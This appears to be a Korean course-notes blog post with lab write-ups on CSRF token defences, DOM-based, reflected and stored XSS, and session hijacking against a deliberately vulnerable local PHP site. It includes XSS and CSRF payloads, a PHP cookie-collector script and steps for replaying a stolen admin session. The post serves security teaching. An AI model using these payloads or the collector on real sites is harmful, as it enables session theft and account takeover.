    $csrf_token = csrf_token_create();
    $page = "mypage.php";
  } else if ($page == "login") {
    $page = "login.php";
  } else if ($page == "join") {
    $page = "join.php";
  } else if ($page == "pingcheck") {
    $page = "pingcheck.php";
  } else if ($page == "xmlparser") {
    $page = "xmlparser.php";
  } else if ($page == "write") {
    $csrf_token = csrf_token_create();
    $page = "write.php";
  } else if ($page == "view") {
    $csrf_token = csrf_token_create();
    $page = "view.php";
  } else if ($page == "modify") {
    $csrf_token = csrf_token_create();
    $page = "modify.php";
  } else if ($page == "auth") {
    $page = "auth.php";
  } else if ($page == "error") {
    $page = "error.php";
  } else {
    echo "<script>location.href='index.php?page=error&value={$page}';</script>";
  }

?>

mypage.php 에서 csrf token 을 GET 방식으로 전달하는 코드를 추가한다.

		<div class="text-center">
			<input type="submit" class="btn btn-info" value="수정하기">
			<button type="button" class="btn btn-danger" onclick="if(confirm('탈퇴 하시겠습니까?')) location.href='withdrawal.php?csrf_token=<?=$csrf_token?>'">회원탈퇴하기</button>
		</div>

VMWare 해커 계정으로 무단으로 회원탈퇴를 하는 CSRF 공격을 시도한다.

공격 페이로드

<script>location.href='http://192.168.56.1/insecure_website/withdrawal.php'</script>

무단으로 회원탈퇴를 시도하는 CSRF 공격 페이로드를 담은 게시글을 작성한다.

로컬 PC의 test1 계정으로 로그인 후 해당 게시글을 클릭한다.

에러 메시지와 함께 회원탈퇴가 이루어지지 않았다.

세션과 파라미터에 CSRF Token 값이 없거나 일치하지 않아 검증 로직에 통과하지 못하여 회원탈퇴가 이루어지지 못했다.

정상적으로 회원탈퇴 기능이 수행되는지 확인해본다.

test1 계정을 탈퇴하니 정상적으로 기능이 수행되었다.

기존

회원탈퇴 후

실습6-6 취약 환경 시큐어 코딩 적용 실습-3

CSRF Token 검증 후에 세션 내 CSRF Token을 폐기해줘야 한다. (재사용될 필요가 없음)

CSRF Token 폐기 로직은 액션이 이루어지는 페이지에 추가하면 된다.

unset 함수를 활용하여 csrf token 을 삭제한다.

< action.php 에 csrf token 폐기 코드 추가 >

<?
	@session_start();
	header("Content-Type: text/html; charset=UTF-8");
	include ( './common.php' );

	# CSRF Token 검증 로직
	$csrf_token_session = $_SESSION["csrf_token"];
	$csrf_token_param = $_REQUEST["csrf_token"];
	unset($_SESSION["csrf_token"]);

	if(empty($csrf_token_session) && empty($csrf_token_param)) {
		echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
		exit();
	} else {
		if($csrf_token_param != $csrf_token_session) {
			echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
			exit();
		}
	}

회원 탈퇴시에도 ID 뿐만 아니라 CSRF Token 도 같이 폐기해준다.

< withdrawal.php 에 csrf token 폐기 코드 추가 >

<?
    @session_start();
    include_once("./common.php");

    $db_conn = mysql_conn();

    $csrf_token_session = $_SESSION["csrf_token"];
    $csrf_token_param = $_GET["csrf_token"];

    if(empty($csrf_token_session) && empty($csrf_token_param)) {
		echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
		exit();
	} else {
		if($csrf_token_param != $csrf_token_session) {
			echo "<script>alert('정상적인 접근이 아닙니다.');history.back(-1);</script>";
			exit();
		}
	}

    $query = "delete from members where id='{$_SESSION["id"]}'";
	$result = $db_conn->query($query);

    unset($_SESSION["csrf_token"]);
    unset($_SESSION["id"]);
    session_destroy();

    echo "<script>location.href='index.php'</script>";
?>

참고

https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9

XSS, CSRF 참고

https://dirtycoders.net/xss-csrf-caijeom-ihaehagi/

XSS (Cross-Site Scripting)

Security Engineer — Fri, 24 Jan 2025 23:50:47 +0900

1) XSS이란 무엇인가?

동적으로 출력하는 페이지에 대해 클라이언트 언어로 작성된 악의적인 스크립트를 삽입하여 비정상적인 행위를 하는 공격

클라이언트 언어(Client Side Script) - HTML,CSS, JavaScript

XSS는 서버 측 공격이 아닌, 클라이언트(사용자) 측 공격이다.

Scripting - 클라이언트 언어가 실행됨

XSS 공격은 A사이트에서 B사이트로 이동하는 공격이다.

2) 공격 대상

1. 기능적인 공격 대상

2. 엔드 포인트 단의 공격 대상

SQL Injection

- DB와 연결되어 있는 기능(게시판 등)에 대해 공격

XSS

- 웹 사이트의 특정 기능(게시판, 검색창) 공격

- 사용자에 대한 공격

< 기능적인 공격 대상 >

웹 어플리케이션 진단 관점에서 볼 때, 사용자 입력값을 받아 웹 페이지를 구성하는 기능은 공격 대상이다.

→ 사용자 입력값을 통해 동적인 웹 페이지를 구성한다면 모든 기능이 공격 대상이 된다.

→ 웹 페이지 내 사용자 입력값이 출력되어 있지 않아도 공격이 가능하다. (어딘가에 사용자 입력값이 입력되어 있으면 공격 가능)

→ 실제 클라이언트 단의 소스코드에 입력되어 있는 경우 (hidden의 value) 공격이 가능하다. (웹 브라우저에 출력되지 않아도 공격 가능 - 웹 브라우저를 믿지 말고 웹 프록시를 믿을 것)

< 엔드 포인트 단의 공격 대상 >

SQL Injection, OS Command Injection, XXE Injection 모두 서버를 대상으로 하는 공격이다.

XSS는 사용자를 대상으로 하는 공격이다.

→ Client Side Script 로 작성된 언어는 웹 서버에서 인식하지 못하며 웹 브라우저에서 해석해준다.

→ 사용자만 Client Side Script 인식

3) 공격 유형

피싱 → 악의적인 사용자가 유도한 사이트로 리다이렉션

악성코드 유포 → 강제로 악성코드 다운로드 및 실행 후 악성코드 설치, Drive-by Download(웹 브라우저 취약점 활용)

XSS Tunnel(XSS Shell) → 사용자 웹 브라우저 권한 획득, 대부분의 행위 가능

세션 하이재킹 → 사용자 세션 탈취 후 세션 재사용, 권한 탈취

CSRF → 악성 스크립트에 의해 악의적인 사용자가 의도한 행위를 함

4) 공격 기법

1. DOM-BASED XSS

2. REFLECTED XSS

3. STORED XSS

DOM-BASED XSS

- DOM(Documnet Object Model - 문서 객체 모델, HTML 문서에 접근하기 위한 표준 API)

- 웹 브라우저에서 사용자 입력 값을 통해 동적 페이지 구성

- 악성 스크립트가 담긴 URL을 사용자의 웹 브라우저에서 호출이 될 경우 악성 스크립트가 발생되는 취약점

- 서버 측이 아닌, 웹 브라우저에서 사용자 입력값에 따라 페이지를 구성

- Non Persistent XSS

DOM-BASED XSS 공격 예시

클라이언트에서 id=admin 을 입력한다.

서버에는 해당 admin 이 전달될 수도 있고 안될수도 있다. (전달되는 건 중요하지 않다.)

서버로부터의 응답값에 admin 이 실려서 오지 않는다.

웹 페이지를 보니 admin 이라고 출력된다. (DOM을 이용해서 문서(URL)에 접근해서 URL의 정보를 들고온 다음에 사용자 입력값이 어떤게 있는지 봐서 admin 파라미터 값을 사용자 웹 페이지에 출력 시킨다.)

이런 행위가 웹 브라우저 단에서 발생된다.

서버 측에서 입력값 검증이 있더라도 XSS 공격이 발생할 수 있다.

공격 발생 가능성 적다.

REFLECTED XSS

- 서버 측에서 사용자 입력 값을 통한 동적 페이지 구성

- 악성 스크립트가 담긴 URL을 사용자의 웹 브라우저에서 호출이 될 경우 악의적인 스크립트가 발생되는 취약점

- 공격자가 취약한 URL을 사용자에게 전달해야함

- Non-Persistent XSS

REFLECTED XSS 공격 예시

클라이언트에서 id=admin 을 입력한다.

서버에는 해당 admin 이 전달된다.

서버에는 해당 admin 이 담겨서 응답이 온다. → 서버 측에서 사용자 입력값을 통해 동적 페이지 구성

공격 발생 가능성 많다.

STORED XSS

- 데이터베이스에 저장된 데이터를 통한 동적 페이지 구성

- 공격자가 DB에 악의적인 스크립트를 저장, 사용자가 악성 스크립트가 담긴 DB의 특정 레코드값을 참조하여 공격 발생

- 공격자가 특정 게시글에 악성 스크립트를 심고, 사용자가 해당 게시글을 확인하면 악성 스크립트가 실행되는 공격

- 공격 발생 가능성 가장 많다.

- Persistent XSS

< 네트워크 구간에서 보는 XSS 공격 기법 종류 >

DOM-BASED XSS : 웹 브라우저에서 발생

Reflected XSS : 어플리케이션에서 발생

Stored XSS : 데이터베이스에 저장되었다가 사용자에게 전달되어 발생

5) 공격 원리 분석

< DOM-BASED XSS 공격 순서 >

1. 공격자가 사용자한테 악성 스크립트가 담긴 URL을 전달한다.

해당 URL은 공격자 서버가 아닌 안전한 사이트(ex: 구글, 네이버 등)+악성 스크립트로 구성되어 있다.

공격자는 사용자가 해당 URL에 접속할 수 있도록 만들어야 한다.(링크 클릭하여 접속할 수 있도록 유도한다.)

2. 사용자는 해당 URL을 클릭하면 웹 서비스에 접속한다.

웹 서버의 응답값에는 악성 스크립트가 담기지 않는다. (웹 서버로부터 정상 응답값이 수신된다.)

3. 웹 브라우저 단에서 웹 브라우저의 자바스크립트 엔진(해석기)에 의해 악성 스크립트가 담긴 페이지를 구성한다.

DOM 사용(문서에 접근할 수 있도록) - URL을 참조하여 악성 스크립트가 담긴 페이지를 구성한다.

이후 자바스크립트를 실행한다. - 공격자가 의도한 공격자 서버로 접근하게 된다.

< REFLECTED XSS 공격 순서 >

1. 공격자가 사용자한테 악성 스크립트가 담긴 URL을 전달한다.

해당 URL은 공격자 서버가 아닌 안전한 사이트(ex: 구글, 네이버 등)+악성 스크립트로 구성되어 있다.

공격자는 사용자가 해당 URL에 접속할 수 있도록 만들어야 한다.(링크를 클릭하여 접속할 수 있도록 유도한다.)

2. 사용자는 해당 URL을 클릭하면 웹 서비스에 접속한다.

웹 서버의 어플리케이션(특정 페이지+사용자 입력값)에서 악성 스크립트가 담긴 페이지를 구성하게 된다.

웹 서버의 응답 메시지 바디에 악성 스크립트가 담기게 된다.

3. 사용자는 웹 서버의 응답값을 통해 악성 스크립트를 전달받게 되고, 악성 스크립트가 실행되어 공격자 서버로 접근하게 된다.

위와 같은 공격 원리로 이루어지는게 Reflected XSS 이며, 이런 이유로 '반사'라는 개념이 붙게 되었다.

DOM-BASED XSS 와 REFLECTED XSS 공격은 URL을 통해 던져야 하므로 악성 스크립트가 항상 실려야 한다.

이런 이유로 Non-Persistenet(비 지속적인) XSS 라고도 불린다.

< STORED XSS 공격 순서 >

1. 공격자는 웹 서비스에 악성 스크립트를 저장한다. (악성 스크립트가 담긴 구문을 게시글, 댓글에 저장)

2. 공격자가 저장한 악성 스크립트가 DB에 저장된다.

3. 사용자가 해당 게시글, 댓글을 읽는다. (특정 게시판의 공지글 등, 유명한 게시글을 타겟으로 한다.)

4. 사용자가 읽는 순간 DB에 있던 악성 스크립트가 웹 페이지로 호출이 된다. (악성 스크립트가 담긴 페이지가 구성됨)

5. 악성 스크립트가 담긴 페이지가 사용자에게 전달된다.

6. 공격자가 의도한 공격자 서버로 접근하게 된다.

STORED XSS는 게시글에 저장이되므로 Persistent(지속적인) XSS 라고도 불린다.

실습5-1 DOM-BASED XSS 공격 실습

dom.php 코드 위치: C:\APM_Setup\htdocs\insecure_website\dom.php

< dom.php 소스코드 기존 >

<div id="page">Page</div>

<script>
    var url = document.location;
    url = unescape(url);
    var page = url.substring(url.indexOf('page=')+5, url.length);
    document.getElementById("page").innerHTML = page;
</script>

위 소스코드에서는 innerHTML이 script 태그를 허용하지 않아 script 태그를 활용한 XSS 구문 활용이 불가능하다.

< dom.php 소스코드 >

<script>
    var url = document.location;
    url = unescape(url);
    var page = url.substring(url.indexOf('page=')+5, url.length);
    document.write(page);
</script>

현재 소스코드를 보면 Server-Side Script 인 PHP 코드는 보이지 않고 오직 Client Side Script 인 JavaScript 코드만 확인된다.

document 객체를 선언했는데, document 객체는 웹 페이지 문서에 접근할 수 있는 객체이다.

location 메소드를 사용하여 이를 통해 url 값을 반환하게 된다.

최초의 이 값을 받아오면 사용자 입력값은 URL 인코딩이 된 상태이므로 unescape를 사용하여 URL 디코딩을 해준다.

substring 을 사용하여 특정 위치값의 길이만큼 값을 반환해준다. (원하는 값을 파싱하기 위해서)

indexOf('page=') → page 위치값

예를들어 사용자 입력값은 page 뒤에 notice 부분이다. page=notice

순수하게 사용자 입력값만 반환하기 위해서 +5를 해준다.(page= 이후 다섯번째부터가 사용자 입력값이므로)

url.length 를 통해 전체 URL 길이값을 반환해준다.

해당 내용이 이해하기 어려운것 같아 챗지피티에 코드 작성 후 설명을 요청하였다.

아래와 같이 정리된 것을 확인할 수 있었다.

위 JavaScript 코드는 현재 웹 페이지의 URL에서 특정 문자열(예: page= 뒤에 오는 값)을 추출하여 웹 페이지에 출력하는 코드이다. 아래 단계별로 설명한다.

1. var url = document.location;

document.location은 현재 웹 페이지의 URL을 반환한다.
예: URL이 http://example.com?page=123일 경우, url 변수에는 "http://example.com?page=123"이 저장된다.

2. url = unescape(url);

unescape 함수는 URL에 포함된 인코딩된 문자(예: %20은 공백)를 디코딩한다.
예:
- 인코딩된 URL: http://example.com?page%3D123
- unescape 결과: http://example.com?page=123
그러나, unescape는 더 이상 권장되지 않으며, 대신 decodeURIComponent를 사용하는 것이 좋다.

3. var page = url.substring(url.indexOf('page=')+5, url.length);

url.indexOf('page=')는 URL에서 'page=' 문자열이 시작되는 위치(인덱스)를 찾는다.
+5는 'page=' 문자열의 길이를 더해 'page=' 다음 값이 시작되는 위치를 나타낸다.
substring 함수는 해당 위치부터 URL 끝까지의 문자열을 추출한다.
예:
- URL: http://example.com?page=123
- 'page=' 위치: 19
- 추출된 문자열: 123

4. document.write(page);

document.write 함수는 추출된 문자열(page)를 현재 웹 페이지에 출력한다.
결과:
- URL이 http://example.com?page=123일 경우, 페이지에 123이 출력된다.

최종 동작

URL에서 page= 뒤의 값을 찾아 추출한다.
해당 값을 웹 페이지에 출력한다.

보완 및 주의사항

unescape 대신 decodeURIComponent 사용: unescape는 더 이상 사용되지 않으므로, decodeURIComponent로 교체하는 것이 좋다.
보안 문제:
- document.write는 XSS 공격에 취약할 수 있다. 외부 입력값을 처리할 때는 반드시 유효성을 검증해야 한다.
- 예를 들어, URL이 http://example.com?page=<script>alert('XSS')</script>일 경우, 이 스크립트가 그대로 실행될 위험이 있다.

수정된 안전한 코드는 다음과 같다:

<script>
    var url = decodeURIComponent(document.location);
    var paramIndex = url.indexOf('page=');
    if (paramIndex !== -1) {
        var page = url.substring(paramIndex + 5, url.length);
        page = page.replace(/</g, "&lt;").replace(/>/g, "&gt;"); // XSS 방지
        document.write(page);
    }
</script>

127.0.0.1/insecure_website/dom.php 에 접속한다.

아무런 값을 넣지 않으니 그냥 URL 이 반환된다.

127.0.0.1/insecure_website/dom.php?page=test 를 입력한다.

page= 뒤에 test 가 그대로 출력되는 것을 확인할 수 있다.

127.0.0.1/insecure_website/dom.php?page=notice 를 입력한다.

page= 뒤에 notice 가 그대로 출력되는 것을 확인할 수 있다.

만약 page 뒤에 악성 스크립트가 삽입된다면, 악성 스크립트가 그대로 출력될 것이다.

XSS 취약성 확인 방법은 다음과 같다. → XSS 위험성을 보여주기 위해 경고창을 띄운다.

alert()
confirm()
prompt()

보통 아래와 같이 script 태그를 활용해서 경고창을 띄우게 된다.

<script>alert(document.cookie)</script>

127.0.0.1/insecure_website/dom.php?page=<script>alert(document.cookie)</script> 를 입력한다.

세션값이 출력되는 것을 확인할 수 있다.

<img src="" onerror="alert(document.cookie)"> 를 입력하여 경고창을 출력하는 방법도 존재한다.

127.0.0.1/insecure_website/dom.php?page=<img src="" onerror="alert(document.cookie)"> 를 입력한다.

동일하게 세션값이 출력되는 것을 확인할 수 있다.

이를 통해 XSS 취약성 존재 유무를 확인할 수 있다.

DOM-BASED XSS 는 웹 브라우저단에서 악성 스크립트(사용자 입력값)을 받은 다음에 동적 페이지로 구성된다.

Server-Side Script 단에서는 해당 사용자 입력값(악성 스크립트)이 구성되지 않는다.

버프스위트를 켜고 위의 요청을 다시 시도한 후 서버 측 응답을 확인해본다.

1. Intercept On (Ctrl + T) 후 웹 사이트에서 요청 전송

2. Forward (Ctrl+F) 후 서버 측 응답 확인

응답값을 확인해보니 Server-Side 단에서는 악성 스크립트가 포함된 응답값이 확인되지 않는다.

순수하게 웹 브라우저단에서 동적 페이지 구성이 이루어지는 것을 알 수 있다.

→ DOM-BASED XSS의 핵심 (DOM을 통해 문서에 접근하여 사용자 입력값에 의해 동적 페이지가 구성됨)

→ REFLECTED XSS는 악성 스크립트가 응답값에 실리게된다.

그러므로 DOM-BASED XSS는 Server-Side 단에 파라미터 입력값 검증 로직이 있더라도 웹 브라우저단에서 공격이 이루어지기 때문에 우회가 가능하다.

?page 이전에 # 메타문자를 삽입해본다.

127.0.0.1/insecure_website/dom.php#?page=<img src="" onerror="alert(document.cookie)"> 를 입력한다.

php 문자열 이후 클라이언트에서 요청한 사용자 입력값이 확인되지 않는 것을 알 수 있다.

DOM-BASED XSS는 서버 사이드를 우회하여 공격하는 경우 파라미터(사용자 입력값)을 전달하지 않아 웹 방화벽에 걸리지 않게된다.

클라이언트에서 요청 시 사용자 입력값(악성 스크립트)가 확인되지 않으며, 서버에서 응답값 역시 악성 스크립트가 확인되지 않는다.

웹 브라우저가 위 서버 응답값 Javascript 를 해석하면서 악성 스크립트를 불러오게 된다.

잠재적인 DOM-BASED XSS 취약점에 노출될 수 있는 경우

document.write()
document.writeln()
document.domain
document.URL
document.referrer
location.href
loaction.search
location.hash
document.documentURI
someDOMElement.innerHTML
someDOMElement.outerHTML
someDOMElement.insertAdjacentHTML
someDOMElement.onevent
window.name
...

위와 같은 메소드가 사용될 때 XSS 취약점이 발생할 수 있다.

DOM-BASED XSS 공격은 분석하기도 상당히 까다로울 뿐만 아니라, 활용하기 위해서는 Client Side Script 에 대한 이해가 필요하다.

실습5-2 REFLECTED XSS 공격 실습

Reflected XSS 공격을 하기 위해서는 전제 조건이 있는데, 사용자 입력값을 입력한 뒤 응답값에 해당 입력 내용이 실려야 한다. 예를 들어 test 를 입력하면, 응답값에 test 가 똑같이 있어야 한다.

먼저 취약한 페이지를 구성한다.

C:\APM_Setup\htdocs\insecure_website 에 xss.php 파일을 생성 후 아래 소스코드를 입력한다.

<?
    echo $_GET["value"]
?>

위 코드는 value 라는 사용자 입력값을 출력해주는 코드이다.

127.0.0.1/insecure_website/xss.php?value=test 를 입력한다.

value 값에 test 가 입력되어 웹 페이지에 출력되는 것이 확인된다.

127.0.0.1/insecure_website/xss.php?value=<script>alert(document.cookie)</script> 를 입력한다.

script 태그를 활용해서 경고창을 띄우게 되면서 세션값이 출력된다.

이를 통해 XSS 취약점 유무를 파악할 수 있다.

버프스위트에서 동일하게 XSS 공격을 진행해본다.

버프스위트를 켜고 위의 요청을 다시 시도한 후 서버 측 응답을 확인해본다.

1. Intercept On (Ctrl + T) 후 웹 사이트에서 요청 전송

2. Forward (Ctrl+F) 후 서버 측 응답 확인

사용자 입력값이 응답값에 그대로 반환되는 것을 확인할 수 있다.

→ Reflected XSS

DOM-Based XSS 는 응답값에 사용자 입력값이 없고, 웹 브라우저에서 사용자 입력값을 통한 동적 페이지가 구성된다.

Reflected XSS 는 응답값에 사용자 입력값이 실리게된다.

Refleted XSS 에 취약한 부분이 있는지 확인하기 위해 웹 서비스 내 특정 문자열을 입력하여 해당 문자열을 그대로 출력해주는 기능을 확인해본다.

검색창에 hohoho 를 입력하여 확인해본다.

버프스위트에서 Foward 를 통해 확인 시, 응답값에 hohoho는 확인되지 않았다. (Refleted XSS 취약점 존재하지 않음)

index.php 에는 확인되지 않으니 다른 페이지를 확인해본다.

admin 으로 로그인한다.

1. Intercept On (Ctrl + T) 후 웹 사이트에서 MyPage 를 클릭한다.

2. id=admin 에 hohoho를 입력 후 Forward (Ctrl+F) 후 서버 측 응답 확인

3. Intercept Off (Ctrl + T) 후 웹 사이트에서 출력된 에러메시지 확인

hohoho 라는 사용자는 없으므로 해당 사용자가 존재하지 않는다는 문구가 출력되며, 응답값에는 hohoho 가 확인되지 않는다.

MyPage는 입력값을 받은 후 사용자 존재 유무를 확인하는 로직이 있기 때문에 사용자 입력값이 출력되지 않았다.

(hohoho 라는 사용자는 존재하지 않기 때문에)

Pingcheck 를 클릭 후 URL 에 abc를 추가한다.

페이지 내 pingchecabc 가 출력되는 것을 확인할 수 있다.

사용자 입력값이 서버 응답값으로 출력된 것으로 Reflected XSS 취약점이 존재할 수도 있다고 판단할 수 있다.

(사용자 입력값 검증이 존재할 수도 있기 때문에 완전히 Reflected XSS 에 취약한것은 아니다.)

실제 XSS 구문을 입력하여 취약 유무를 확인하면 된다.

http://127.0.0.1/insecure_website/index.php?page=error&value=<script>alert(document.cookie)</script> 를 입력해본다.

세션값이 포함된 경고창이 출력되는 것을 통해서 해당 페이지가 Reflected XSS 에 취약하다는 것을 확인할 수 있다.

버프스위트 내 서버 응답값에서도 사용자 입력값이 출력되는 것을 확인할 수 있다.

http://127.0.0.1/insecure_website/index.php?page=error&value=<script>alert('XSS Attack')</script> 를 입력해본다.

버프스위트 내 서버 응답값에서도 사용자 입력값이 출력되는 것을 확인할 수 있다.

이를 통해 pingcheck 페이지가 Reflected XSS 공격에 취약한 것을 알 수 있다.

실습5-3 STORED XSS 공격 실습

Stored XSS 는 데이터베이스에 사용자 입력값이 저장되어야 한다.

공격자의 악성 스크립트가 데이터베이스에 담겨있다가 사용자가 읽었을때 해당 악성 스크립트가 실행된다.

이를 위해서는 데이터베이스에 입력값이 저장되는 기능에 악성 스크립트를 심어야한다.

게시판의 글쓰기 기능을 활용하여 악성 스크립트를 심어본다.

게시판에 <sciprt>alert('XSS Attack')<script> 를 작성 후 저장한다.

누군가가 해당 게시글을 읽게되면 다음과 같이 XSS Attack 문구가 경고창으로 출력된다.

Stored XSS는 이런식으로 게시글에 악성 스크립트를 심었다가, 누군가 해당 게시글을 클릭하게 되면 악성 스크립트가 발생되는 공격이다.

Stored XSS 공격이 다른 XSS 공격에 비해 더 편리하기도 하고, 취약점이 발생할 확률이 좀 더 높은 공격이다.

6) 세션 하이재킹에 대한 이해와 공격 원리 분석

Session Hijacking

- 세션 탈취를 통해 아이디, 패스워드를 몰라도 사용자 계정 도용

- 세션: 사용자를 식별하는 ID

< 공격 원리 분석 >

1. 공격자는 XSS 에 취약한 게시판에 악성 스크립트가 포함된 게시글을 작성한다.

2. 데이터베이스에 악성 스크립트가 저장된다.

3. 사용자는 해당 게시글을 클릭하여 읽는다.

4. 게시글에 포함된 악성 스크립트가 데이터베이스에서 웹 페이지로 전달된다.

5. 게시글에 담긴 악성 스크립트가 실행되어 사용자에게 전달된다.

6. 공격자 서버로 세션을 보내는 스크립트가 실행되어 사용자의 세션이 전송된다.

7. 공격자 서버에는 사용자 세션이 담겨서 공격자에게 전달된다.

8. 공격자는 사용자의 세션을 사용하여 웹 서비스에 사용자인척 접속한다.

실습5-4 세션 하이재킹 공격 실습

에러:
버프스위트에서 8888 포트로 프록시 사용하려고 설정 중, 8888포트가 사용중이라는 오류가 발생하여 확인해보니 jupyter notebook 를 사용하고 있는 것을 확인하였다. 127.0.0.1:8888 입력 시 jupyter notebook 페이지로 들어간다.
그리고 jupyter notebook 접속 후 세션 하이재킹 실습을 하는 경우에는, xsrf 문자열과 함께 세션값을 평소와 다르게 가져오는 현상이 발생하였다.
프록시 사용을 위해서 현재 컴퓨터에서 8080 또는 8888포트가 사용되는지 확인해야 한다.
CMD 창을 열고 netstat -ano | findstr 8080 을 입력 또는 netstat -ano | findstr 8888 을 입력해서 해당 포트들이 사용되는지 확인한다.
검색결과가 없으면 해당 포트는 미사용이라는 의미이며, 검색결과가 나오면 해당 포트는 사용하고 있다는 의미이다.

Stored XSS 를 활용하여 세션 하이재킹 공격 실습을 한다.

세션 하이재킹 실습을 위해서는 2개의 웹 브라우저를 사용해야 한다. (관리자와 해커를 나눠서 실습)

로컬PC의 웹 브라우저와 VMWare 내 웹 브라우저로 실습해도 상관없다.

크롬(관리자)과 엣지(해커)를 사용해서 실습한다.

크롬에서는 admin 으로 로그인한다.

엣지에서는 192.168.56.1/insecue_website로 접속 후, 공격자로 회원가입을 진행한다.

192.168.56.1 은 로컬 PC의 사설 IP로 실질적으로 127.0.0.1 과 동일하다. (CMD 에서 ipconfig 로 확인 가능)

192.168.56.1 에서 작성한 게시글을 127.0.0.1 에서 동일하게 확인 가능하다.

관리자가 읽을 수 있도록 게시글을 작성해야 하는데, 게시글 작성 전 먼저 세션값을 가져오는 코드를 작성한다.

VMWare를 사용하는 경우 VMWare 내 에서 C드라이브에 session 폴더 생성 후 session.php 를 생성한다.

로컬 PC를 사용하는 경우 C:\APM_Setup\htdocs\ 경로에 session 폴더 생성 후 session.php 를 생성한다.

< session.php >

<?
    $session = $_GET["session"];
    $ip = $_SERVER["REMOTE_ADDR"];
    $date = date("Y-m-d H:i:s", time());
    $fp = fopen("rawdata.txt", "a");
    fwrite($fp, "{$date} | {$ip} | {$session}\r\n");
    fclose($fp);
?>

127.0.0.1/session/session.php?session=test 에 접속한다.

192.168.56.1/session/session.php?session=test 에 접속한다.

접속 후 session 폴더 내에 rawdata.txt 파일이 생성되어 있는 것을 확인할 수 있다.

rawdata.txt 파일 확인 시 아래와 같이 접속 날짜, IP, session 입력값을 확인할 수 있다.

세션값을 가져오는 코드를 작성 후 세션값을 가져오는지 확인했으니 엣지에서 해커 계정으로 게시글을 작성한다.

게시글 내용은 다음과 같다.

location.href 를 사용하면 리다이렉션이 진행된다. (해당 게시글을 읽게 되면 지정한 다른 페이지로 이동)

여기서 127.0.0.1 은 현재 로컬 PC의 웹 브라우저 2개를 사용해서 공격자와 피해자를 구분하므로, 로컬 IP를 사용했을뿐 실제로 취약점 진단 시 공격자 서버의 IP를 사용하면된다.

세션을 탈취하기 위해 documen.cookie를 선언해야하는데, session 파라미터 뒤에 +(연결 연산자)를 사용하여 http://127.0.0.1/session/session.php?session= 과 document.cookie를 붙여준다. 사용자 입력값에 세션이 실리도록 한다.

작성 후 해커 계정으로 해당 게시글을 클릭하면 이렇게 세션값이 URL에 입력되는 것을 확인할 수 있다.

rawdata.txt 에서 다음과 같이 해커의 세션값을 확인할 수 있다.

이제 크롬에서 관리자 계정으로 접속하여 해당 게시글을 확인해본다.

rawdata.txt 에서 다음과 같이 관리자의 세션값을 확인할 수 있다.

엣지에서 해커 계정으로 접속한다음, 버프스위트를 켜서 세션값을 관리자 세션값으로 변경해준다.

이때 버프스위트 설정이 127.0.0.1 로 프록시 설정이 되어 있으므로, 웹 페이지도 127.0.0.1/insecure_website로 접속해줘야 한다.

버프스위트에서 intercept on 후 엣지에서 다시 새로고침을 한다.

아래와 같이 해커의 세션값이 확인되는데, 이 세션값을 지우고 Forward(Ctrl + F)해준다.

Forward 후 Response를 확인하면 Set-Cookie 가 확인되는데, Set-Cookie에 관리자 세션값을 입력해준다.

굳이 응답값에서 Set-Cookie에 관리자 세션값을 입력하지 않아도 되며, 처음 요청 시 Cookie에 관리자 세션값을 입력해줘도 된다.

Set-Cookie가 세팅이 되면, 웹 브라우저에서는 Set-Cookie를 받아서 기존 사이트에있는 세션 쿠키값을 Set-Cookie 값으로 변경해준다. (응답메시지 헤더에 Set-Cookie 활성화하여 입력해주면 웹 브라우저에서는 자동으로 세션을 변경해준다.)

관리자의 세션 쿠키값을 입력해준다. 4ab437efcf3eb671d07f1ada98dbf13f

그 후 Intercept off 를 하고 난 후 해커 계정으로 접속한 엣지에서 새로고침을 하게 되면, 관리자 계정으로 접속된 것을 확인할 수 있다.

관리자가 맞는지 엣지에서 해당 계정으로 글을 작성해본다.

아래와 같이 관리자 계정으로 게시글이 작성된 것을 확인할 수 있다.

이렇게 세션 하이재킹을 통해서 관리자 계정을 탈취한 것을 확인할 수 있다.

하지만 위와 같은 방법은 해커가 작성한 게시글을 클릭하면 다른 페이지로 리다이렉션되므로 티가 너무 많이 난다.

희생자가 이런 낌새를 알 수 없도록 스크립트를 변경해본다.

엣지에서 다시 해커 계정으로 로그인 한다.

스크립트는 다음과 같이 작성해준다.

위 스크립트는 이미지 객체를 생성하고 src 속성에서 해당 링크를 호출하도록 한다.

스크립트만 작성하면 게시글 클릭 시 내용이 없는 것으로 확인되니, 자연스럽게 작성을 위해 아무 글이나 작성해준다.

이후 엣지의 해커 계정에서 해당 게시글을 확인해본다.

리다이렉션되지 않으며, 게시글도 작성되어 있어 평범해보이는 게시글로 확인된다.

rawdata.txt 확인 시 해커의 세션값을 확인할 수 있다.

확인 시 해커의 세션값이 아니라 이전에 탈취한 관리자 세션값인 것을 확인할 수 있다. 세션값이 초기화되지 않은것이다.

크롬과 엣지에서 각 계정에서 로그아웃 후 브라우저를 껏다가 다시 켰다.

다시 크롬에는 관리자 계정으로 접속하고, 엣지에는 해커 계정으로 접속 후 해당 게시글을 다시 접속해본다.

위와 같이 해커 계정의 세션이 새로 발급된것을 확인할 수 있으며, 게시글의 이상함을 느낄 필요 없이 세션을 탈취한 것을 알 수 있다.

크롬에서 관리자 계정으로 해당 게시글에 접속 후 rawdat.txt 를 확인해보면 다음과 같이 관리자 세션이 탈취된것을 확인할 수 있다.

이번에는 Set-Cookie 가 아닌 개발자 도구를 활용하여 세션값을 변경해본다.

엣지에서 접속한 해커 계정에서 개발자 도구를 연다. (F12)

응용프로그램 - 쿠키 에서 세션값을 확인할 수 있다.

위의 해커 세션을 아까 세션 하이재킹한 관리자 세션으로 변경해준다.

관리자 세션: f948a490a27ba3c539c2bc15b2693a84

엣지에서 다시 새로고침하게 되면 관리자 계정으로 접속된 것을 확인할 수 있다.

여기서 핵심은 크롬(관리자)과 엣지(해커)의 브라우저의 세션이 각각 다르기 때문에 해당 실습이 가능한 점이며, 크롬에서 로그인하지 않은 세션값과 관리자 계정으로 로그인한 세션값은 동일하다. 그러므로 크롬의 세션 탈취 후 관리자 계정으로 로그인되어 있지 않으면 엣지에서 크롬 세션을 사용해도 관리자가 아닌 로그아웃되어 있는 상태가 될 수도 있다.

